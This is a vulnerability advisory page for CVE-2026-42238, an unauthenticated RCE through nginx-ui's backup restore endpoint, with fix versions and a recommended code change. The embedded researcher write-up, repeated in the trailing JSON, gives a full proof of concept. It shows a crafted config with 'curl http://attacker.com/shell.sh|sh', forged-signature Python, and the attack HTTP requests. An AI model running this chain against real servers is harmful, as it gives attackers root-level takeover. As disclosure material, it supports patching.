CVE-2026-42238: Github.com/0xJacky/nginx ui Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-4pvg-prr3-9cxr
CVSS 9.8
CWE-94
Published
Advisory Summary

CVE-2026-42238 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Github.com/0xJacky/nginx ui libraries in the Go ecosystem. The issue involves nginx-ui is vulnerable to unauthenticated remote code execution via backup restore. Remediation is available by upgrading affected packages to version 2.3.8.

CVE-2026-42238 at a Glance

CVE Identifier CVE-2026-42238
GHSA Identifier GHSA-4pvg-prr3-9cxr
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Github.com/0xJacky/nginx ui
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-42238

To remediate this vulnerability, upgrade all affected Github.com/0xJacky/nginx ui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/0xJacky/nginx-ui fixed: 2.3.8
Upgrade github.com/0xJacky/nginx-ui to 2.3.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/0xJacky/nginx-ui

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42238, inspect your project dependencies for Github.com/0xJacky/nginx ui:

inspect dependencies for github.com/0xJacky/nginx-ui

Analyze the terminal output to locate any version of Github.com/0xJacky/nginx ui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/0xJacky/nginx ui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Product:** nginx-ui **Repository:** `0xJacky/nginx-ui` (branch: `dev`) **Vulnerability Class:** Authentication Bypass → Arbitrary File Write → OS Command Injection **Affected Component:** `POST /api/restore` --- ## 1. Vulnerability Summary nginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is **completely unauthenticated** during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments. The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart). --- ## 2. Root Cause Analysis ### 2.1 The Restore Route Is Registered Without Authentication `backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: [1](#2-0) The route definition: [2](#2-1) ### 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass The only authentication guard on the restore route is `authIfInstalled`: [3](#2-2) It calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: [4](#2-3) - `InstallLockStatus()` returns `false` because `JwtSecret` is `""` on a fresh install and `SkipInstallation` defaults to `false`. - `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`. When both are `false`, `authIfInstalled` calls `ctx.Next()` with **zero authentication**. ### 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier The `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is **optional** — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: [5](#2-4) An attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op. ### 2.4 The Attacker Controls the AES Key Used to Verify the Backup The restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: [6](#2-5) The manifest integrity check derives its HMAC signing key **from the attacker-supplied AES key**: [7](#2-6) Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup. ### 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally When `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: [8](#2-7) ### 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command After restore, `risefront.Restart()` is called, reloading `app.ini`: [9](#2-8) On the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: [10](#2-9) [11](#2-10) --- ## 3. Attack Prerequisites | Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | `JwtSecret` is empty in `app.ini` | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by `IPWhiteList` | Default config has no IP whitelist | The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window. --- ## 4. Step-by-Step Proof of Concept ### Step 1 — Confirm the installation window is open ```http GET /api/install HTTP/1.1 Host: target:9000 ``` Expected response confirming vulnerability: ```json {"lock": false, "timeout": false} ``` ### Step 2 — Craft the malicious backup The backup format (derived from `internal/backup/backup.go`) is: ``` backup-TIMESTAMP.zip ← outer ZIP (unencrypted) ├── manifest.json ← JSON manifest ├── manifest.sig ← HMAC-SHA256 of manifest.json ├── nginx-ui.zip ← AES-CBC encrypted inner ZIP └── nginx.zip ← AES-CBC encrypted inner ZIP ``` **2a.** Generate a random 32-byte AES key and 16-byte IV. **2b.** Create the malicious `app.ini` to place inside `nginx-ui.zip`: ```ini [app] JwtSecret = attacker_chosen_jwt_secret_32chars [node] Secret = attacker_chosen_node_secret [nginx] TestConfigCmd = curl http://attacker.com/shell.sh|sh ``` **2c.** Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access). **2d.** Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`. **2e.** Encrypt both ZIPs with AES-256-CBC using your key and IV. **2f.** Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`: ```json { "schema": 1, "created_at": "20260421-120000", "version": "2.0.0", "files": [ {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>}, {"name": "nginx.zip", "sha256": "<hash>", "size": <size>} ] } ``` **2g.** Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as: ```python import hashlib, hmac context = b"nginx-ui-backup-signing-v1:" signing_key = hashlib.sha256(context + aes_key).digest() sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest() ``` **2h.** Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`. ### Step 3 — Upload the malicious backup (no authentication required) ```http POST /api/restore HTTP/1.1 Host: target:9000 Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="backup_file"; filename="evil.zip" Content-Type: application/zip [crafted backup bytes] ------Boundary Content-Disposition: form-data; name="security_token" <base64(aes_key)>:<base64(aes_iv)> ------Boundary Content-Disposition: form-data; name="restore_nginx_ui" true ------Boundary-- ``` Expected response (HTTP 200): ```json {"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true} ``` nginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`. ### Step 4 — Trigger RCE using the restored node secret After the restart (wait ~3 seconds): ```http POST /api/nginx/test HTTP/1.1 Host: target:9000 X-Node-Secret: attacker_chosen_node_secret ``` nginx-ui executes: ```sh /bin/sh -c "curl http://attacker.com/shell.sh|sh" ``` The attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker). --- ## 5. Impact - **Confidentiality:** Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`. - **Integrity:** Arbitrary modification of all nginx configurations and nginx-ui application state. - **Availability:** Complete denial of service; nginx and nginx-ui can be stopped or misconfigured. - **Scope:** OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode. --- ## 6. Affected Versions All versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch. --- ## 7. Recommended Fix **Primary fix** — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive: ```go // api/backup/router.go func InitRouter(r *gin.RouterGroup) { r.GET("/backup", middleware.AuthRequired(), CreateBackup) r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup) } ``` If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window. **Secondary fix** — Validate the content of restored `app.ini` before writing it to disk. Specifically, `TestConfigCmd`, `ReloadCmd`, and `RestartCmd` should be rejected or stripped from any externally-supplied backup. --- ## 8. Timeline | Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) | ### Citations **File:** router/routers.go (L61-70) ```go root := r.Group("/api", middleware.IPWhiteList()) { public.InitRouter(root) crypto.InitPublicRouter(root) user.InitAuthRouter(root) license.InitRouter(root) system.InitPublicRouter(root) system.InitSelfCheckRouter(root) backup.InitRouter(root) ``` **File:** api/backup/router.go (L9-16) ```go // authIfInstalled requires auth if system is installed func authIfInstalled(ctx *gin.Context) { if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() { middleware.AuthRequired()(ctx) } else { ctx.Next() } } ``` **File:** api/backup/router.go (L18-25) ```go func InitRouter(r *gin.RouterGroup) { // Backup always requires authentication (contains sensitive data) r.GET("/backup", middleware.AuthRequired(), CreateBackup) // Restore requires auth only after installation // This allows restoring backup during initial setup r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup) } ``` **File:** api/system/install.go (L27-34) ```go func InstallLockStatus() bool { return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != "" } // IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded func IsInstallTimeoutExceeded() bool { return time.Since(startupTime) > 10*time.Minute } ``` **File:** internal/middleware/encrypted_params.go (L69-75) ```go // Check if encrypted_params field exists encryptedParams := c.Request.FormValue("encrypted_params") if encryptedParams == "" { // No encryption, continue normally c.Next() return } ``` **File:** api/backup/restore.go (L35-70) ```go securityToken := c.PostForm("security_token") // Get concatenated key and IV // Get backup file backupFile, err := c.FormFile("backup_file") if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error())) return } // Validate security token if securityToken == "" { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return } // Split security token to get Key and IV parts := strings.Split(securityToken, ":") if len(parts) != 2 { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return } aesKey := parts[0] aesIv := parts[1] // Decode Key and IV from base64 key, err := base64.StdEncoding.DecodeString(aesKey) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error())) return } iv, err := base64.StdEncoding.DecodeString(aesIv) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error())) return } ``` **File:** api/backup/restore.go (L126-132) ```go if restoreNginxUI { go func() { time.Sleep(2 * time.Second) // gracefully restart risefront.Restart() }() } ``` **File:** internal/backup/manifest.go (L156-163) ```go func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) { if len(aesKey) == 0 { return nil, ErrInvalidAESKey } sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...)) return sum[:], nil } ``` **File:** internal/backup/restore.go (L458-484) ```go // restoreNginxUIConfig restores nginx-ui configuration files func restoreNginxUIConfig(nginxUIBackupDir string) error { // Get config directory configDir := filepath.Dir(cosysettings.ConfPath) if configDir == "" { return ErrConfigPathEmpty } // Restore app.ini to the configured location srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini") if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil { return err } // Restore database file if exists dbName := settings.DatabaseSettings.GetName() srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db") destDBPath := filepath.Join(configDir, dbName+".db") // Only attempt to copy if database file exists in backup if _, err := os.Stat(srcDBPath); err == nil { if err := copyFile(srcDBPath, destDBPath); err != nil { return err } } return nil ``` **File:** internal/nginx/nginx.go (L25-36) ```go func TestConfig() (stdOut string, stdErr error) { mutex.Lock() defer mutex.Unlock() if settings.NginxSettings.TestConfigCmd != "" { return execShell(settings.NginxSettings.TestConfigCmd) } sbin := GetSbinPath() if sbin == "" { return execCommand("nginx", "-t") } return execCommand(sbin, "-t") } ``` **File:** internal/nginx/exec.go (L12-28) ```go func execShell(cmd string) (stdOut string, stdErr error) { var execCmd *exec.Cmd if runtime.GOOS == "windows" { execCmd = exec.Command("cmd", "/c", cmd) } else { execCmd = exec.Command("/bin/sh", "-c", cmd) } execCmd.Dir = GetNginxExeDir() bytes, err := execCmd.CombinedOutput() stdOut = string(bytes) if err != nil { stdErr = err } return } ```

CVE-2026-42238 Affected Github.com/0xJacky/nginx ui Versions

1 component(s)
Fixed Versions:
2.3.8
Product / Package Ecosystem Affected Versions Fixed Version
github.com/0xJacky/nginx-ui
Go
< 2.3.8
2.3.8

References

Frequently Asked Questions

What is CVE-2026-42238?
CVE-2026-42238 is a security vulnerability in Github.com/0xJacky/nginx ui involving Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Github.com/0xJacky/nginx ui versions are affected?
Affected versions include releases prior to 2.3.8 across affected packages: github.com/0xJacky/nginx-ui.
What version fixes CVE-2026-42238?
Upgrading to 2.3.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/0xJacky/nginx-ui affected?
Yes, github.com/0xJacky/nginx-ui is affected in releases prior to 2.3.8. Upgrade your dependency to 2.3.8 or later.
What is the CVSS score of CVE-2026-42238?
CVE-2026-42238 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-42238?
CVE-2026-42238 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Go dependencies for CVE-2026-42238?
Run the dependency tree command: 'inspect dependencies for github.com/0xJacky/nginx-ui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4pvg-prr3-9cxr",
  "modified" : "2026-05-06T17:03:44Z",
  "published" : "2026-05-06T17:03:43Z",
  "aliases" : [ "CVE-2026-42238" ],
  "summary" : "Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore",
  "details" : "**Product:** nginx-ui\n**Repository:** `0xJacky/nginx-ui` (branch: `dev`)\n**Vulnerability Class:** Authentication Bypass → Arbitrary File Write → OS Command Injection\n**Affected Component:** `POST /api/restore`\n\n---\n\n## 1. Vulnerability Summary\n\nnginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is **completely unauthenticated** during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments.\n\nThe 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).\n\n---\n\n## 2. Root Cause Analysis\n\n### 2.1 The Restore Route Is Registered Without Authentication\n\n`backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: [1](#2-0) \n\nThe route definition: [2](#2-1) \n\n### 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass\n\nThe only authentication guard on the restore route is `authIfInstalled`: [3](#2-2) \n\nIt calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: [4](#2-3) \n\n- `InstallLockStatus()` returns `false` because `JwtSecret` is `\"\"` on a fresh install and `SkipInstallation` defaults to `false`.\n- `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`.\n\nWhen both are `false`, `authIfInstalled` calls `ctx.Next()` with **zero authentication**.\n\n### 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier\n\nThe `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is **optional** — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: [5](#2-4) \n\nAn attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op.\n\n### 2.4 The Attacker Controls the AES Key Used to Verify the Backup\n\nThe restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: [6](#2-5) \n\nThe manifest integrity check derives its HMAC signing key **from the attacker-supplied AES key**: [7](#2-6) \n\nSince the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.\n\n### 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally\n\nWhen `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: [8](#2-7) \n\n### 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command\n\nAfter restore, `risefront.Restart()` is called, reloading `app.ini`: [9](#2-8) \n\nOn the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: [10](#2-9) [11](#2-10) \n\n---\n\n## 3. Attack Prerequisites\n\n| Requirement | Notes |\n|---|---|\n| Network access to nginx-ui port | Default: 9000/tcp |\n| Target is a fresh install | `JwtSecret` is empty in `app.ini` |\n| Within 10 minutes of last process start | Window resets on every restart |\n| IP not blocked by `IPWhiteList` | Default config has no IP whitelist |\n\nThe 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window.\n\n---\n\n## 4. Step-by-Step Proof of Concept\n\n### Step 1 — Confirm the installation window is open\n\n```http\nGET /api/install HTTP/1.1\nHost: target:9000\n```\n\nExpected response confirming vulnerability:\n```json\n{\"lock\": false, \"timeout\": false}\n```\n\n### Step 2 — Craft the malicious backup\n\nThe backup format (derived from `internal/backup/backup.go`) is:\n\n```\nbackup-TIMESTAMP.zip          ← outer ZIP (unencrypted)\n├── manifest.json             ← JSON manifest\n├── manifest.sig              ← HMAC-SHA256 of manifest.json\n├── nginx-ui.zip              ← AES-CBC encrypted inner ZIP\n└── nginx.zip                 ← AES-CBC encrypted inner ZIP\n```\n\n**2a.** Generate a random 32-byte AES key and 16-byte IV.\n\n**2b.** Create the malicious `app.ini` to place inside `nginx-ui.zip`:\n\n```ini\n[app]\nJwtSecret = attacker_chosen_jwt_secret_32chars\n\n[node]\nSecret = attacker_chosen_node_secret\n\n[nginx]\nTestConfigCmd = curl http://attacker.com/shell.sh|sh\n```\n\n**2c.** Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).\n\n**2d.** Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`.\n\n**2e.** Encrypt both ZIPs with AES-256-CBC using your key and IV.\n\n**2f.** Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`:\n\n```json\n{\n  \"schema\": 1,\n  \"created_at\": \"20260421-120000\",\n  \"version\": \"2.0.0\",\n  \"files\": [\n    {\"name\": \"nginx-ui.zip\", \"sha256\": \"<hash>\", \"size\": <size>},\n    {\"name\": \"nginx.zip\",    \"sha256\": \"<hash>\", \"size\": <size>}\n  ]\n}\n```\n\n**2g.** Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as:\n\n```python\nimport hashlib, hmac\ncontext = b\"nginx-ui-backup-signing-v1:\"\nsigning_key = hashlib.sha256(context + aes_key).digest()\nsig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()\n```\n\n**2h.** Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`.\n\n### Step 3 — Upload the malicious backup (no authentication required)\n\n```http\nPOST /api/restore HTTP/1.1\nHost: target:9000\nContent-Type: multipart/form-data; boundary=----Boundary\n\n------Boundary\nContent-Disposition: form-data; name=\"backup_file\"; filename=\"evil.zip\"\nContent-Type: application/zip\n\n[crafted backup bytes]\n------Boundary\nContent-Disposition: form-data; name=\"security_token\"\n\n<base64(aes_key)>:<base64(aes_iv)>\n------Boundary\nContent-Disposition: form-data; name=\"restore_nginx_ui\"\n\ntrue\n------Boundary--\n```\n\nExpected response (HTTP 200):\n```json\n{\"nginx_ui_restored\": true, \"nginx_restored\": false, \"hash_match\": true}\n```\n\nnginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`.\n\n### Step 4 — Trigger RCE using the restored node secret\n\nAfter the restart (wait ~3 seconds):\n\n```http\nPOST /api/nginx/test HTTP/1.1\nHost: target:9000\nX-Node-Secret: attacker_chosen_node_secret\n```\n\nnginx-ui executes:\n```sh\n/bin/sh -c \"curl http://attacker.com/shell.sh|sh\"\n```\n\nThe attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker).\n\n---\n\n## 5. Impact\n\n- **Confidentiality:** Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`.\n- **Integrity:** Arbitrary modification of all nginx configurations and nginx-ui application state.\n- **Availability:** Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.\n- **Scope:** OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.\n\n---\n\n## 6. Affected Versions\n\nAll versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch.\n\n---\n\n## 7. Recommended Fix\n\n**Primary fix** — Require authentication unconditionally on the restore endpoint. The \"allow restore during initial setup\" design rationale does not justify unauthenticated access to a file-write primitive:\n\n```go\n// api/backup/router.go\nfunc InitRouter(r *gin.RouterGroup) {\n    r.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n    r.POST(\"/restore\", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\nIf restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.\n\n**Secondary fix** — Validate the content of restored `app.ini` before writing it to disk. Specifically, `TestConfigCmd`, `ReloadCmd`, and `RestartCmd` should be rejected or stripped from any externally-supplied backup.\n\n---\n\n## 8. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-21 | Vulnerability identified via source code review |\n| — | Vendor notification (pending) |\n| — | CVE assignment (pending) |\n\n### Citations\n\n**File:** router/routers.go (L61-70)\n```go\n\troot := r.Group(\"/api\", middleware.IPWhiteList())\n\t{\n\t\tpublic.InitRouter(root)\n\t\tcrypto.InitPublicRouter(root)\n\t\tuser.InitAuthRouter(root)\n\t\tlicense.InitRouter(root)\n\n\t\tsystem.InitPublicRouter(root)\n\t\tsystem.InitSelfCheckRouter(root)\n\t\tbackup.InitRouter(root)\n```\n\n**File:** api/backup/router.go (L9-16)\n```go\n// authIfInstalled requires auth if system is installed\nfunc authIfInstalled(ctx *gin.Context) {\n\tif system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {\n\t\tmiddleware.AuthRequired()(ctx)\n\t} else {\n\t\tctx.Next()\n\t}\n}\n```\n\n**File:** api/backup/router.go (L18-25)\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\t// Backup always requires authentication (contains sensitive data)\n\tr.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n\n\t// Restore requires auth only after installation\n\t// This allows restoring backup during initial setup\n\tr.POST(\"/restore\", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\n**File:** api/system/install.go (L27-34)\n```go\nfunc InstallLockStatus() bool {\n\treturn settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != \"\"\n}\n\n// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded\nfunc IsInstallTimeoutExceeded() bool {\n\treturn time.Since(startupTime) > 10*time.Minute\n}\n```\n\n**File:** internal/middleware/encrypted_params.go (L69-75)\n```go\n\t\t// Check if encrypted_params field exists\n\t\tencryptedParams := c.Request.FormValue(\"encrypted_params\")\n\t\tif encryptedParams == \"\" {\n\t\t\t// No encryption, continue normally\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n```\n\n**File:** api/backup/restore.go (L35-70)\n```go\n\tsecurityToken := c.PostForm(\"security_token\") // Get concatenated key and IV\n\t// Get backup file\n\tbackupFile, err := c.FormFile(\"backup_file\")\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))\n\t\treturn\n\t}\n\n\t// Validate security token\n\tif securityToken == \"\" {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\t// Split security token to get Key and IV\n\tparts := strings.Split(securityToken, \":\")\n\tif len(parts) != 2 {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\taesKey := parts[0]\n\taesIv := parts[1]\n\n\t// Decode Key and IV from base64\n\tkey, err := base64.StdEncoding.DecodeString(aesKey)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))\n\t\treturn\n\t}\n\n\tiv, err := base64.StdEncoding.DecodeString(aesIv)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))\n\t\treturn\n\t}\n```\n\n**File:** api/backup/restore.go (L126-132)\n```go\n\tif restoreNginxUI {\n\t\tgo func() {\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\t// gracefully restart\n\t\t\trisefront.Restart()\n\t\t}()\n\t}\n```\n\n**File:** internal/backup/manifest.go (L156-163)\n```go\nfunc deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {\n\tif len(aesKey) == 0 {\n\t\treturn nil, ErrInvalidAESKey\n\t}\n\n\tsum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))\n\treturn sum[:], nil\n}\n```\n\n**File:** internal/backup/restore.go (L458-484)\n```go\n// restoreNginxUIConfig restores nginx-ui configuration files\nfunc restoreNginxUIConfig(nginxUIBackupDir string) error {\n\t// Get config directory\n\tconfigDir := filepath.Dir(cosysettings.ConfPath)\n\tif configDir == \"\" {\n\t\treturn ErrConfigPathEmpty\n\t}\n\n\t// Restore app.ini to the configured location\n\tsrcConfigPath := filepath.Join(nginxUIBackupDir, \"app.ini\")\n\tif err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {\n\t\treturn err\n\t}\n\n\t// Restore database file if exists\n\tdbName := settings.DatabaseSettings.GetName()\n\tsrcDBPath := filepath.Join(nginxUIBackupDir, dbName+\".db\")\n\tdestDBPath := filepath.Join(configDir, dbName+\".db\")\n\n\t// Only attempt to copy if database file exists in backup\n\tif _, err := os.Stat(srcDBPath); err == nil {\n\t\tif err := copyFile(srcDBPath, destDBPath); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n```\n\n**File:** internal/nginx/nginx.go (L25-36)\n```go\nfunc TestConfig() (stdOut string, stdErr error) {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\treturn execShell(settings.NginxSettings.TestConfigCmd)\n\t}\n\tsbin := GetSbinPath()\n\tif sbin == \"\" {\n\t\treturn execCommand(\"nginx\", \"-t\")\n\t}\n\treturn execCommand(sbin, \"-t\")\n}\n```\n\n**File:** internal/nginx/exec.go (L12-28)\n```go\nfunc execShell(cmd string) (stdOut string, stdErr error) {\n\tvar execCmd *exec.Cmd\n\n\tif runtime.GOOS == \"windows\" {\n\t\texecCmd = exec.Command(\"cmd\", \"/c\", cmd)\n\t} else {\n\t\texecCmd = exec.Command(\"/bin/sh\", \"-c\", cmd)\n\t}\n\n\texecCmd.Dir = GetNginxExeDir()\n\tbytes, err := execCmd.CombinedOutput()\n\tstdOut = string(bytes)\n\tif err != nil {\n\t\tstdErr = err\n\t}\n\treturn\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
